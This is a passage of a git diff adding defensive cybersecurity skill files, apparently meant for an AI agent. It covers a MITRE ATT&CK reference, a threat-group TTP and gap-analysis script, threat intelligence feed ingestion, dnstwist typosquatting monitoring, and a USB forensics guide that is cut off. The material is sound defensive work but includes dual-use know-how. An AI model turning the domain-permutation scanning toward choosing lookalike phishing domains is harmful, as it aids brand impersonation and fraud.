(AWS, Azure, GCP, SaaS, Office 365), Network, Containers +- **Mobile ATT&CK**: Android, iOS +- **ICS ATT&CK**: Industrial Control Systems + +### 14 Enterprise Tactics (Kill Chain Order) +1. **Reconnaissance** (TA0043): Gathering information for planning +2. **Resource Development** (TA0042): Establishing resources for operations +3. **Initial Access** (TA0001): Gaining initial foothold +4. **Execution** (TA0002): Running adversary-controlled code +5. **Persistence** (TA0003): Maintaining access across restarts +6. **Privilege Escalation** (TA0004): Gaining higher-level permissions +7. **Defense Evasion** (TA0005): Avoiding detection +8. **Credential Access** (TA0006): Stealing credentials +9. **Discovery** (TA0007): Understanding the environment +10. **Lateral Movement** (TA0008): Moving through the environment +11. **Collection** (TA0009): Gathering data of interest +12. **Command and Control** (TA0011): Communicating with compromised systems +13. **Exfiltration** (TA0010): Stealing data +14. **Impact** (TA0040): Manipulating, interrupting, or destroying systems + +### Technique Naming Convention +- **Technique**: T[NNNN] (e.g., T1059 - Command and Scripting Interpreter) +- **Sub-technique**: T[NNNN].[NNN] (e.g., T1059.001 - PowerShell) +- **Group**: G[NNNN] (e.g., G0016 - APT29) +- **Software**: S[NNNN] (e.g., S0154 - Cobalt Strike) +- **Mitigation**: M[NNNN] (e.g., M1049 - Antivirus/Antimalware) + +### Data Sources +ATT&CK v16+ uses structured data sources: +- Process: Process Creation, Process Access, OS API Execution +- File: File Creation, File Modification, File Access +- Network Traffic: Network Connection Creation, Network Traffic Flow +- Command: Command Execution +- Module: Module Load +- Windows Registry: Windows Registry Key Modification + +## STIX 2.1 Representation + +### Attack Pattern (SDO) +Maps to ATT&CK techniques: +```json +{ + "type": "attack-pattern", + "id": "attack-pattern--uuid", + "name": "Spearphishing Attachment", + "external_references": [ + {"source_name": "mitre-attack", "external_id": "T1566.001"} + ], + "kill_chain_phases": [ + {"kill_chain_name": "mitre-attack", "phase_name": "initial-access"} + ] +} +``` + +### Intrusion Set (SDO) +Maps to ATT&CK groups: +```json +{ + "type": "intrusion-set", + "name": "APT29", + "aliases": ["Cozy Bear", "The Dukes", "NOBELIUM"], + "goals": ["espionage"], + "resource_level": "government" +} +``` + +## ATT&CK Navigator Layer Specification + +### Layer Version 4.5 Schema +- `name`: Layer display name +- `domain`: enterprise-attack, mobile-attack, ics-attack +- `techniques[]`: Array of technique annotations + - `techniqueID`: ATT&CK ID + - `score`: Numeric score (0-100) + - `color`: Hex color override + - `comment`: Analyst notes + - `enabled`: Show/hide technique + - `metadata[]`: Key-value pairs for additional context + +## References +- [MITRE ATT&CK Enterprise](https://attack.mitre.org/matrices/enterprise/) +- [ATT&CK STIX Data Repository](https://github.com/mitre/cti) +- [Navigator Layer Format](https://github.com/mitre-attack/attack-navigator/blob/master/layers/LAYERFORMATv4_5.md) +- [ATT&CK Design and Philosophy](https://attack.mitre.org/docs/ATTACK_Design_and_Philosophy_March_2020.pdf) diff --git a/skills/analyzing-threat-actor-ttps-with-mitre-attack/references/workflows.md b/skills/analyzing-threat-actor-ttps-with-mitre-attack/references/workflows.md new file mode 100644 index 00000000..e9c66f4d --- /dev/null +++ b/skills/analyzing-threat-actor-ttps-with-mitre-attack/references/workflows.md @@ -0,0 +1,90 @@ +# MITRE ATT&CK Analysis Workflows + +## Workflow 1: Threat Actor TTP Mapping + +``` +[Threat Report] --> [Extract Behaviors] --> [Map to ATT&CK] --> [Navigator Layer] + | + v + [Detection Priorities] +``` + +### Steps: +1. **Report Ingestion**: Obtain threat intelligence report (vendor, OSINT, internal) +2. **Behavior Extraction**: Identify adversary actions described in the report +3. **Technique Mapping**: Map each behavior to ATT&CK technique IDs using the ATT&CK knowledge base +4. **Sub-technique Precision**: Drill down to sub-techniques where procedure details allow +5. **Layer Creation**: Generate ATT&CK Navigator layer with mapped techniques +6. **Priority Assessment**: Rank techniques by detection feasibility and impact + +## Workflow 2: Detection Gap Analysis + +``` +[Current Detections] --> [Detection Layer] --> [Overlay with Threat Layer] --> [Gap Layer] + | + v + [Engineering Backlog] +``` + +### Steps: +1. **Detection Inventory**: Catalog existing detection rules mapped to ATT&CK techniques +2. **Detection Layer**: Create Navigator layer showing detected techniques (green) +3. **Threat Layer**: Create layer showing adversary techniques (red) +4. **Overlay Analysis**: Combine layers to identify uncovered threat techniques +5. **Gap Prioritization**: Rank gaps by threat actor relevance and detection feasibility +6. **Engineering Plan**: Create detection engineering backlog from prioritized gaps + +## Workflow 3: Cross-Actor Comparison + +``` +[Group A TTPs] --+ + |--> [Intersection Analysis] --> [Common Techniques] --> [Priority Detections] +[Group B TTPs] --+ | + | v +[Group C TTPs] --+ [Unique Techniques per Group] +``` + +### Steps: +1. **Group Selection**: Choose threat groups relevant to your industry/region +2. **TTP Extraction**: Pull technique lists for each group from ATT&CK +3. **Common Analysis**: Find techniques shared across all selected groups +4. **Unique Analysis**: Identify techniques unique to specific groups +5. **Detection ROI**: Prioritize detections for commonly used techniques (highest coverage ROI) +6. **Actor Attribution**: Use unique techniques as potential attribution indicators + +## Workflow 4: Campaign-to-TTP Analysis + +``` +[Campaign IOCs] --> [Sandbox/Analysis] --> [Behavior Extraction] --> [TTP Mapping] + | + v + [Compare to Known Groups] + | + v + [Attribution Hypothesis] +``` + +### Steps: +1. **IOC Collection**: Gather campaign IOCs (malware hashes, C2 domains, phishing emails) +2. **Dynamic Analysis**: Execute samples in sandbox, capture behavioral artifacts +3. **Behavior Documentation**: Document file operations, registry changes, network connections, process activity +4. **ATT&CK Mapping**: Map observed behaviors to techniques and sub-techniques +5. **Group Comparison**: Compare campaign TTPs against known group profiles +6. **Attribution Assessment**: Assess likelihood of attribution based on TTP overlap + +## Workflow 5: Threat-Informed Defense + +``` +[ATT&CK Mappings] --> [Data Source Analysis] --> [Telemetry Assessment] --> [Control Mapping] + | + v + [Security Roadmap] +``` + +### Steps: +1. **Threat Profile**: Identify relevant threat actors and their techniques +2. **Data Source Mapping**: Determine which data sources can detect each technique +3. **Telemetry Audit**: Assess which data sources are currently collected +4. **Control Assessment**: Map existing security controls to technique mitigations +5. **Gap Identification**: Find techniques with neither detection nor mitigation coverage +6. **Roadmap Creation**: Build security improvement roadmap addressing highest-risk gaps diff --git a/skills/analyzing-threat-actor-ttps-with-mitre-attack/scripts/process.py b/skills/analyzing-threat-actor-ttps-with-mitre-attack/scripts/process.py new file mode 100644 index 00000000..3f093ec5 --- /dev/null +++ b/skills/analyzing-threat-actor-ttps-with-mitre-attack/scripts/process.py @@ -0,0 +1,353 @@ +#!/usr/bin/env python3 +""" +MITRE ATT&CK Threat Actor TTP Analysis Script + +Queries the MITRE ATT&CK STIX data to: +- Map threat actor groups to their known techniques +- Generate ATT&CK Navigator layers for visualization +- Perform detection gap analysis +- Compare TTPs across multiple threat groups +- Identify high-priority detection opportunities + +Requirements: + pip install attackcti mitreattack-python stix2 requests + +Usage: + python process.py --group APT29 --output apt29_layer.json + python process.py --compare APT28 APT29 "Lazarus Group" + python process.py --gap-analysis --detections detections.json --group APT29 +""" + +import argparse +import json +import sys +from collections import defaultdict +from typing import Optional + +try: + from attackcti import attack_client +except ImportError: + print("ERROR: attackcti not installed. Run: pip install attackcti") + sys.exit(1) + + +class ATTACKAnalyzer: + """Analyze threat actor TTPs using MITRE ATT&CK.""" + + def __init__(self): + print("[*] Initializing ATT&CK client (querying MITRE TAXII server)...") + self.lift = attack_client() + self.groups_cache = None + self.techniques_cache = None + + def _get_groups(self): + if self.groups_cache is None: + self.groups_cache = self.lift.get_groups() + return self.groups_cache + + def _get_techniques(self): + if self.techniques_cache is None: + self.techniques_cache = self.lift.get_enterprise_techniques() + return self.techniques_cache + + def find_group(self, name: str) -> Optional[dict]: + """Find a threat group by name or alias.""" + groups = self._get_groups() + for group in groups: + if name.lower() == group.get("name", "").lower(): + return group + aliases = group.get("aliases", []) + if any(name.lower() == a.lower() for a in aliases): + return group + return None + + def get_group_techniques(self, group_name: str) -> dict: + """Get all techniques used by a threat group.""" + group = self.find_group(group_name) + if not group: + print(f"[-] Group '{group_name}' not found") + return {} + + group_id = "" + for ref in group.get("external_references", []): + if ref.get("source_name") == "mitre-attack": + group_id = ref.get("external_id", "") + break + + if not group_id: + print(f"[-] No ATT&CK ID found for {group_name}") + return {} + + techniques = self.lift.get_techniques_used_by_group(group_id) + technique_map = {} + + for tech in techniques: + tech_id = "" + for ref in tech.get("external_references", []): + if ref.get("source_name") == "mitre-attack": + tech_id = ref.get("external_id", "") + break + + if not tech_id: + continue + + tactics = [ + phase.get("phase_name", "") + for phase in tech.get("kill_chain_phases", []) + ] + + technique_map[tech_id] = { + "name": tech.get("name", ""), + "tactics": tactics, + "description": tech.get("description", "")[:500], + "platforms": tech.get("x_mitre_platforms", []), + "data_sources": tech.get("x_mitre_data_sources", []), + } + + print(f"[+] {group_name} ({group_id}): {len(technique_map)} techniques") + return technique_map + + def create_navigator_layer(self, group_name: str, technique_map: dict, + color: str = "#ff6666") -> dict: + """Generate ATT&CK Navigator layer JSON.""" + techniques_list = [] + for tech_id, info in technique_map.items(): + for tactic in info["tactics"]: + techniques_list.append({ + "techniqueID": tech_id, + "tactic": tactic, + "color": color, + "comment": info["name"], + "enabled": True, + "score": 100, + "metadata": [ + {"name": "group", "value": group_name}, + {"name": "platforms", "value": ", ".join(info["platforms"])}, + ], + }) + + layer = { + "name": f"{group_name} TTP Coverage", + "versions": { + "attack": "16.1", + "navigator": "5.1.0", + "layer": "4.5", + }, + "domain": "enterprise-attack", + "description": f"Techniques attributed to {group_name}", + "filters": { + "platforms": [ + "Linux", "macOS", "Windows", "Cloud", + "Azure AD", "Office 365", "SaaS", "Google Workspace", + ] + }, + "sorting": 0, + "layout": { + "layout": "side", + "aggregateFunction": "average", + "showID": True, + "showName": True, + "showAggregateScores": False, + "countUnscored": False, + }, + "hideDisabled": False, + "techniques": techniques_list, + "gradient": { + "colors": ["#ffffff", color], + "minValue": 0, + "maxValue": 100, + }, + "legendItems": [ + {"label": f"Used by {group_name}", "color": color}, + {"label": "Not observed", "color": "#ffffff"}, + ], + "showTacticRowBackground": True, + "tacticRowBackground": "#dddddd", + "selectTechniquesAcrossTactics": True, + "selectSubtechniquesWithParent": False, + "selectVisibleTechniques": False, + } + + return layer + + def compare_groups(self, group_names: list) -> dict: + """Compare TTPs across multiple threat groups.""" + group_techs = {} + for name in group_names: + techs = self.get_group_techniques(name) + group_techs[name] = set(techs.keys()) + + if len(group_techs) < 2: + print("[-] Need at least 2 groups for comparison") + return {} + + all_techniques = set.union(*group_techs.values()) + common_to_all = set.intersection(*group_techs.values()) + + comparison = { + "groups": group_names, + "total_unique_techniques": len(all_techniques), + "common_to_all": sorted(common_to_all), + "common_count": len(common_to_all), + "per_group": {}, + } + + for name, techs in group_techs.items(): + others = set.union(*[t for n, t in group_techs.items() if n != name]) + unique = techs - others + + comparison["per_group"][name] = { + "total": len(techs), + "unique": sorted(unique), + "unique_count": len(unique), + "overlap_percentage": round( + len(techs.intersection(others)) / len(techs) * 100, 1 + ) if techs else 0, + } + + # Technique frequency across groups + tech_freq = defaultdict(list) + for name, techs in group_techs.items(): + for t in techs: + tech_freq[t].append(name) + + comparison["technique_frequency"] = { + t: {"count": len(g), "groups": g} + for t, g in sorted(tech_freq.items(), key=lambda x: -len(x[1])) + } + + return comparison + + def gap_analysis(self, group_name: str, + detected_techniques: set) -> dict: + """Analyze detection gaps for a specific threat group.""" + actor_techs = self.get_group_techniques(group_name) + actor_tech_ids = set(actor_techs.keys()) + + covered = actor_tech_ids.intersection(detected_techniques) + gaps = actor_tech_ids - detected_techniques + + gap_details = [] + for tech_id in sorted(gaps): + info = actor_techs.get(tech_id, {}) + gap_details.append({ + "technique_id": tech_id, + "name": info.get("name", ""), + "tactics": info.get("tactics", []), + "data_sources": info.get("data_sources", []), + "platforms": info.get("platforms", []), + }) + + analysis = { + "group": group_name, + "total_actor_techniques": len(actor_tech_ids), + "detected": len(covered), + "gaps": len(gaps), + "coverage_percentage": round( + len(covered) / len(actor_tech_ids) * 100, 1 + ) if actor_tech_ids else 0, + "detected_techniques": sorted(covered), + "gap_details": gap_details, + "recommended_data_sources": self._recommend_data_sources(gap_details), + } + + return analysis + + def _recommend_data_sources(self, gaps: list) -> list: + """Recommend data sources that would close the most gaps.""" + ds_coverage = defaultdict(list) + for gap in gaps: + for ds in gap.get("data_sources", []): + ds_coverage[ds].append(gap["technique_id"]) + + recommendations = [ + {"data_source": ds, "covers_techniques": techs, "count": len(techs)} + for ds, techs in sorted(ds_coverage.items(), key=lambda x: -len(x[1])) + ] + + return recommendations[:10] + + def tactic_breakdown(self, group_name: str) -> dict: + """Break down threat actor techniques by tactic.""" + techs = self.get_group_techniques(group_name) + tactic_map = defaultdict(list) + + for tech_id, info in techs.items(): + for tactic in info["tactics"]: + tactic_map[tactic].append({ + "id": tech_id, + "name": info["name"], + }) + + tactic_order = [ + "reconnaissance", "resource-development", "initial-access", + "execution", "persistence", "privilege-escalation", + "defense-evasion", "credential-access", "discovery", + "lateral-movement", "collection", "command-and-control", + "exfiltration", "impact", + ] + + breakdown = {} + for tactic in tactic_order: + if tactic in tactic_map: + breakdown[tactic] = { + "count": len(tactic_map[tactic]), + "techniques": tactic_map[tactic], + } + + return breakdown + + +def main(): + parser = argparse.ArgumentParser( + description="MITRE ATT&CK Threat Actor TTP Analyzer" + ) + parser.add_argument("--group", help="Threat group name (e.g., APT29)") + parser.add_argument("--compare", nargs="+", help="Compare multiple groups") + parser.add_argument( + "--gap-analysis", action="store_true", help="Perform detection gap analysis" + ) + parser.add_argument( + "--detections", + help="JSON file with detected technique IDs", + ) + parser.add_argument("--breakdown", action="store_true", help="Tactic breakdown") + parser.add_argument("--output", default="attack_layer.json", help="Output file") + + args = parser.parse_args() + analyzer = ATTACKAnalyzer() + + if args.compare: + comparison = analyzer.compare_groups(args.compare) + print(json.dumps(comparison, indent=2)) + with open(args.output, "w") as f: + json.dump(comparison, f, indent=2) + + elif args.group and args.gap_analysis: + detected = set() + if args.detections: + with open(args.detections) as f: + detected = set(json.load(f)) + + analysis = analyzer.gap_analysis(args.group, detected) + print(json.dumps(analysis, indent=2)) + with open(args.output, "w") as f: + json.dump(analysis, f, indent=2) + + elif args.group and args.breakdown: + breakdown = analyzer.tactic_breakdown(args.group) + print(json.dumps(breakdown, indent=2)) + + elif args.group: + tech_map = analyzer.get_group_techniques(args.group) + layer = analyzer.create_navigator_layer(args.group, tech_map) + with open(args.output, "w") as f: + json.dump(layer, f, indent=2) + print(f"[+] Navigator layer saved to {args.output}") + + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/analyzing-threat-intelligence-feeds/SKILL.md b/skills/analyzing-threat-intelligence-feeds/SKILL.md new file mode 100644 index 00000000..f48e7269 --- /dev/null +++ b/skills/analyzing-threat-intelligence-feeds/SKILL.md @@ -0,0 +1,104 @@ +--- +name: analyzing-threat-intelligence-feeds +description: > + Analyzes structured and unstructured threat intelligence feeds to extract actionable indicators, + adversary tactics, and campaign context. Use when ingesting commercial or open-source CTI feeds, + evaluating feed quality, normalizing data into STIX 2.1 format, or enriching existing IOCs with + campaign attribution. Activates for requests involving ThreatConnect, Recorded Future, Mandiant + Advantage, MISP, AlienVault OTX, or automated feed aggregation pipelines. +domain: cybersecurity +subdomain: threat-intelligence +tags: [STIX, TAXII, MITRE-ATT&CK, IOC, ThreatConnect, Recorded-Future, MISP, CTI, NIST-CSF] +version: 1.0.0 +author: mahipal +license: MIT +--- +# Analyzing Threat Intelligence Feeds + +## When to Use + +Use this skill when: +- Ingesting new commercial or OSINT threat feeds and assessing their signal-to-noise ratio +- Normalizing heterogeneous IOC formats (STIX 2.1, OpenIOC, YARA, Sigma) into a unified schema +- Evaluating feed freshness, fidelity, and relevance to the organization's threat profile +- Building automated enrichment pipelines that correlate IOCs against SIEM events + +**Do not use** this skill for raw packet capture analysis or live incident triage without first establishing a CTI baseline. + +## Prerequisites + +- Access to a Threat Intelligence Platform (TIP) such as ThreatConnect, MISP, or OpenCTI +- API keys for at least one commercial feed (Recorded Future, Mandiant Advantage, or VirusTotal Enterprise) +- TAXII 2.1 client library (taxii2-client Python package or equivalent) +- Role with read/write permissions to the TIP's indicator database + +## Workflow + +### Step 1: Enumerate and Prioritize Feed Sources + +List all available feeds categorized by type (commercial, government, ISAC, OSINT): +- Commercial: Recorded Future, Mandiant Advantage, CrowdStrike Falcon Intelligence +- Government: CISA AIS (Automated Indicator Sharing), FBI InfraGard, MS-ISAC +- OSINT: AlienVault OTX, Abuse.ch, PhishTank, Emerging Threats + +Score each feed on: update frequency, historical accuracy rate, coverage of your sector, and attribution depth. Use a weighted scoring matrix with criteria from NIST SP 800-150 (Guide to Cyber Threat Information Sharing). + +### Step 2: Ingest via TAXII 2.1 or API + +For TAXII-enabled feeds: +``` +taxii2-client discover https://feed.example.com/taxii/ +taxii2-client get-collection --collection-id --since 2024-01-01 +``` + +For REST API feeds (e.g., Recorded Future): +- Query `/v2/indicator/search` with `risk_score_min=65` to filter low-confidence IOCs +- Apply rate limiting and exponential backoff for API resilience + +### Step 3: Normalize to STIX 2.1 + +Convert each IOC to STIX 2.1 objects using the OASIS standard schema: +- IP address → `indicator` object with `pattern: "[ipv4-addr:value = '...']"` +- Domain → `indicator` with `pattern: "[domain-name:value = '...']"` +- File hash → `indicator` with `pattern: "[file:hashes.SHA-256 = '...']"` + +Attach `relationship` objects linking indicators to `threat-actor` or `malware` objects. Use `confidence` field (0–100) based on source fidelity rating. + +### Step 4: Deduplicate and Enrich + +Run deduplication against existing TIP database using normalized value + type as composite key. Enrich surviving IOCs: +- VirusTotal: detection ratio, sandbox behavior reports +- PassiveTotal (RiskIQ): WHOIS history, passive DNS, SSL certificate chains +- Shodan: banner data, open ports, geographic location + +### Step 5: Distribute to Consuming Systems + +Export enriched indicators via TAXII 2.1 push to SIEM (Splunk, Microsoft Sentinel), firewalls (Palo Alto XSOAR playbooks), and EDR platforms. Set TTL (time-to-live) per indicator type: IP addresses 30 days, domains 90 days, file hashes 1 year. + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **STIX 2.1** | Structured Threat Information Expression — OASIS standard JSON schema for CTI objects including indicators, threat actors, campaigns, and relationships | +| **TAXII 2.1** | Trusted Automated eXchange of Intelligence Information — HTTPS-based protocol for sharing STIX content between servers and clients | +| **IOC** | Indicator of Compromise — observable artifact (IP, domain, hash, URL) that indicates a system may have been breached | +| **TLP** | Traffic Light Protocol — color-coded classification (RED/AMBER/GREEN/WHITE) defining sharing restrictions for CTI | +| **Confidence Score** | Numeric value (0–100 in STIX) reflecting the producer's certainty about an indicator's malicious attribution | +| **Feed Fidelity** | Historical accuracy rate of a feed measured by true positive rate in production detections | + +## Tools & Systems + +- **ThreatConnect TC Exchange**: Aggregates 100+ commercial and OSINT feeds; provides automated playbooks for IOC enrichment +- **MISP (Malware Information Sharing Platform)**: Open-source TIP supporting STIX/TAXII; widely used by ISACs and government CERTs +- **OpenCTI**: Open-source platform with native MITRE ATT&CK integration and graph-based relationship visualization +- **Recorded Future**: Commercial feed with AI-powered risk scoring and real-time dark web monitoring +- **taxii2-client**: Python library for TAXII 2.0/2.1 client operations (pip install taxii2-client) +- **PyMISP**: Python API for MISP feed management and IOC submission + +## Common Pitfalls + +- **IOC age staleness**: IP addresses and domains rotate frequently; applying 1-year-old IOCs generates false positives. Enforce TTL policies. +- **Missing context**: Blocking an IOC without understanding the associated campaign or adversary can disrupt legitimate business traffic (e.g., CDN IPs shared with malicious actors). +- **Feed overlap without deduplication**: Ingesting the same IOC from five feeds without deduplication inflates indicator counts and SIEM rule complexity. +- **TLP violation**: Redistributing RED-classified intelligence outside authorized boundaries violates sharing agreements and trust relationships. +- **Over-blocking on low-confidence indicators**: Indicators with confidence below 50 should trigger detection-only rules, not blocking, to avoid operational disruption. diff --git a/skills/analyzing-typosquatting-domains-with-dnstwist/SKILL.md b/skills/analyzing-typosquatting-domains-with-dnstwist/SKILL.md new file mode 100644 index 00000000..a24bca24 --- /dev/null +++ b/skills/analyzing-typosquatting-domains-with-dnstwist/SKILL.md @@ -0,0 +1,298 @@ +--- +name: analyzing-typosquatting-domains-with-dnstwist +description: Detect typosquatting, homograph phishing, and brand impersonation domains using dnstwist to generate domain permutations and identify registered lookalike domains targeting your organization. +domain: cybersecurity +subdomain: threat-intelligence +tags: [dnstwist, typosquatting, phishing, domain-monitoring, brand-protection, homograph, dns, threat-intelligence] +version: "1.0" +author: mahipal +license: MIT +--- +# Analyzing Typosquatting Domains with DNSTwist + +## Overview + +DNSTwist is a domain name permutation engine that generates similar-looking domain names to detect typosquatting, homograph phishing attacks, and brand impersonation. It creates thousands of domain permutations using techniques like character substitution, transposition, insertion, omission, and homoglyph replacement, then checks DNS records (A, AAAA, NS, MX), calculates web page similarity using fuzzy hashing (ssdeep) and perceptual hashing (pHash), and identifies potentially malicious registered domains. + +## Prerequisites + +- Python 3.9+ with `dnstwist` installed (`pip install dnstwist[full]`) +- Optional: GeoIP database for IP geolocation +- Optional: Shodan API key for enrichment +- Network access to perform DNS queries +- Understanding of DNS record types and domain registration + +## Key Concepts + +### Domain Permutation Techniques + +DNSTwist generates permutations using: addition (appending characters), bitsquatting (bit-flip errors), homoglyph (visually similar Unicode characters like rn vs m), hyphenation (adding hyphens), insertion (inserting characters), omission (removing characters), repetition (repeating characters), replacement (replacing with adjacent keyboard keys), subdomain (inserting dots), transposition (swapping adjacent characters), vowel-swap (swapping vowels), and dictionary-based (appending common words). + +### Fuzzy Hashing and Visual Similarity + +DNSTwist uses ssdeep (locality-sensitive hash) to compare HTML content and pHash (perceptual hash) to compare screenshots of web pages. This helps identify cloned phishing sites that visually mimic the legitimate site. A high similarity score indicates a likely phishing page. + +### Detection Workflow + +The typical workflow is: generate domain permutations -> resolve DNS records -> check for registered domains -> compare web page similarity -> flag suspicious domains -> alert security team -> request takedown. For a typical corporate domain, dnstwist generates 5,000-10,000 permutations. + +## Practical Steps + +### Step 1: Basic Domain Permutation Scan + +```python +import subprocess +import json +import csv +from datetime import datetime + +def run_dnstwist_scan(domain, output_file=None): + """Run dnstwist scan against a target domain.""" + cmd = [ + "dnstwist", + "--registered", # Only show registered domains + "--format", "json", # Output in JSON + "--nameservers", "8.8.8.8,1.1.1.1", + "--threads", "50", + "--mxcheck", # Check MX records + "--ssdeep", # Fuzzy hash comparison + "--geoip", # GeoIP lookup + domain, + ] + + print(f"[*] Scanning permutations for: {domain}") + result = subprocess.run(cmd, capture_output=True, text=True, timeout=600) + + if result.returncode == 0: + results = json.loads(result.stdout) + registered = [r for r in results if r.get("dns_a") or r.get("dns_aaaa")] + print(f"[+] Found {len(registered)} registered lookalike domains") + + if output_file: + with open(output_file, "w") as f: + json.dump(registered, f, indent=2) + print(f"[+] Results saved to {output_file}") + + return registered + else: + print(f"[-] dnstwist error: {result.stderr}") + return [] + +results = run_dnstwist_scan("example.com", "typosquat_results.json") +``` + +### Step 2: Analyze and Prioritize Results + +```python +def analyze_results(results, legitimate_ips=None): + """Analyze dnstwist results and prioritize threats.""" + legitimate_ips = legitimate_ips or set() + high_risk = [] + medium_risk = [] + low_risk = [] + + for entry in results: + domain = entry.get("domain", "") + fuzzer = entry.get("fuzzer", "") + dns_a = entry.get("dns_a", []) + dns_mx = entry.get("dns_mx", []) + ssdeep_score = entry.get("ssdeep_score", 0) + + risk_score = 0 + risk_factors = [] + + # High similarity to legitimate site + if ssdeep_score and ssdeep_score > 50: + risk_score += 40 + risk_factors.append(f"high web similarity ({ssdeep_score}%)") + + # Has MX records (can receive email / phishing) + if dns_mx: + risk_score += 20 + risk_factors.append("has MX records (email capable)") + + # Recently registered (if whois data available) + whois_created = entry.get("whois_created", "") + if whois_created: + try: + created = datetime.fromisoformat(whois_created.replace("Z", "+00:00")) + age_days = (datetime.now(created.tzinfo) - created).days + if age_days < 30: + risk_score += 30 + risk_factors.append(f"recently registered ({age_days} days)") + elif age_days < 90: + risk_score += 15 + risk_factors.append(f"registered {age_days} days ago") + except (ValueError, TypeError): + pass + + # Homoglyph attacks are highest risk + if fuzzer == "homoglyph": + risk_score += 25 + risk_factors.append("homoglyph (visually identical)") + elif fuzzer in ("addition", "replacement", "transposition"): + risk_score += 10 + risk_factors.append(f"permutation type: {fuzzer}") + + # Not pointing to legitimate infrastructure + if dns_a and not set(dns_a).intersection(legitimate_ips): + risk_score += 10 + risk_factors.append("different IP from legitimate") + + entry["risk_score"] = risk_score + entry["risk_factors"] = risk_factors + + if risk_score >= 50: + high_risk.append(entry) + elif risk_score >= 25: + medium_risk.append(entry) + else: + low_risk.append(entry) + + high_risk.sort(key=lambda x: x["risk_score"], reverse=True) + medium_risk.sort(key=lambda x: x["risk_score"], reverse=True) + + print(f"\n=== Typosquatting Analysis ===") + print(f"High Risk: {len(high_risk)}") + print(f"Medium Risk: {len(medium_risk)}") + print(f"Low Risk: {len(low_risk)}") + + if high_risk: + print(f"\n--- High Risk Domains ---") + for entry in high_risk[:10]: + print(f" {entry['domain']} (score: {entry['risk_score']})") + for factor in entry['risk_factors']: + print(f" - {factor}") + + return {"high": high_risk, "medium": medium_risk, "low": low_risk} + +analysis = analyze_results(results, legitimate_ips={"93.184.216.34"}) +``` + +### Step 3: Continuous Monitoring Pipeline + +```python +import time +import hashlib + +class TyposquatMonitor: + def __init__(self, domains, known_domains_file="known_typosquats.json"): + self.domains = domains + self.known_file = known_domains_file + self.known_domains = self._load_known() + + def _load_known(self): + try: + with open(self.known_file, "r") as f: + return json.load(f) + except FileNotFoundError: + return {} + + def _save_known(self): + with open(self.known_file, "w") as f: + json.dump(self.known_domains, f, indent=2) + + def scan_all_domains(self): + """Scan all monitored domains for new typosquats.""" + new_findings = [] + for domain in self.domains: + results = run_dnstwist_scan(domain) + for entry in results: + domain_key = entry.get("domain", "") + if domain_key not in self.known_domains: + entry["first_seen"] = datetime.now().isoformat() + entry["monitored_domain"] = domain + self.known_domains[domain_key] = entry + new_findings.append(entry) + print(f" [NEW] {domain_key} ({entry.get('fuzzer', '')})") + + self._save_known() + print(f"\n[+] New typosquatting domains found: {len(new_findings)}") + return new_findings + + def generate_alert(self, findings): + """Generate alert for new high-risk typosquatting domains.""" + analysis = analyze_results(findings) + alerts = [] + for entry in analysis["high"]: + alerts.append({ + "severity": "HIGH", + "domain": entry["domain"], + "target": entry.get("monitored_domain", ""), + "risk_score": entry["risk_score"], + "risk_factors": entry["risk_factors"], + "dns_a": entry.get("dns_a", []), + "dns_mx": entry.get("dns_mx", []), + "timestamp": datetime.now().isoformat(), + }) + return alerts + +monitor = TyposquatMonitor(["mycompany.com", "mycompany.org"]) +new_findings = monitor.scan_all_domains() +alerts = monitor.generate_alert(new_findings) +``` + +### Step 4: Export for Blocklist and Takedown + +```python +def export_blocklist(analysis, output_file="blocklist.txt"): + """Export high-risk domains as blocklist for firewall/proxy.""" + domains = [] + for entry in analysis["high"] + analysis["medium"]: + domain = entry.get("domain", "") + if domain: + domains.append(domain) + + with open(output_file, "w") as f: + f.write(f"# Typosquatting blocklist generated {datetime.now().isoformat()}\n") + for d in sorted(set(domains)): + f.write(f"{d}\n") + + print(f"[+] Blocklist saved: {len(domains)} domains -> {output_file}") + return domains + +def generate_takedown_report(high_risk_domains): + """Generate takedown request report.""" + report = f"""# Domain Takedown Request +Generated: {datetime.now().isoformat()} + +## Summary +{len(high_risk_domains)} domains identified as potential typosquatting/phishing. + +## Domains Requiring Takedown +""" + for entry in high_risk_domains: + report += f""" +### {entry['domain']} +- **Permutation Type**: {entry.get('fuzzer', 'unknown')} +- **IP Address**: {', '.join(entry.get('dns_a', ['N/A']))} +- **MX Records**: {', '.join(entry.get('dns_mx', ['N/A']))} +- **Risk Score**: {entry.get('risk_score', 0)} +- **Risk Factors**: {'; '.join(entry.get('risk_factors', []))} +- **Web Similarity**: {entry.get('ssdeep_score', 'N/A')}% +""" + with open("takedown_report.md", "w") as f: + f.write(report) + print("[+] Takedown report generated: takedown_report.md") + +export_blocklist(analysis) +generate_takedown_report(analysis["high"]) +``` + +## Validation Criteria + +- DNSTwist generates domain permutations for target domain +- DNS resolution identifies registered lookalike domains +- Web similarity scoring detects cloned phishing pages +- Risk scoring prioritizes domains by threat level +- Continuous monitoring detects newly registered typosquats +- Blocklist and takedown reports generated correctly + +## References + +- [dnstwist GitHub Repository](https://github.com/elceef/dnstwist) +- [dnstwister Online Service](https://dnstwister.report/) +- [HawkEye: Detect Typosquatting with DNSTwist](https://hawk-eye.io/2022/11/how-to-detect-typosquatting-using-dnstwist/) +- [Darktrace: Monitoring Typosquatting Domains](https://www.darktrace.com/blog/vigilance-in-action-monitoring-typosquatting-domains) +- [Security Risk Advisors: Domain Monitoring](https://sra.io/blog/domain-monitoring-fast-and-cheap/) +- [Conscia: How to Detect Typosquatting](https://conscia.com/blog/diving-deep-how-to-detect-typosquatting/) diff --git a/skills/analyzing-usb-device-connection-history/SKILL.md b/skills/analyzing-usb-device-connection-history/SKILL.md new file mode 100644 index 00000000..fa7085bd --- /dev/null +++ b/skills/analyzing-usb-device-connection-history/SKILL.md @@ -0,0 +1,352 @@ +--- +name: analyzing-usb-device-connection-history +description: Investigate USB device connection history from Windows registry, event logs, and setupapi logs to track removable media usage and potential data exfiltration. +domain: cybersecurity +subdomain: digital-forensics +tags: [forensics, usb-forensics, removable-media, registry-analysis, data-exfiltration, device-history] +version: "1.0" +author: mahipal +license: MIT +--- + +# Analyzing USB Device Connection History + +## When to Use +- When investigating potential data exfiltration via removable storage devices +- During insider threat investigations to track USB device usage +- For compliance audits verifying removable media policy enforcement +- When correlating USB connections with file access and copy events +- For establishing a timeline of device connections during an incident + +## Prerequisites +- Forensic image or extracted registry hives and event logs +- Access to SYSTEM, SOFTWARE, and NTUSER.DAT registry hives +- SetupAPI 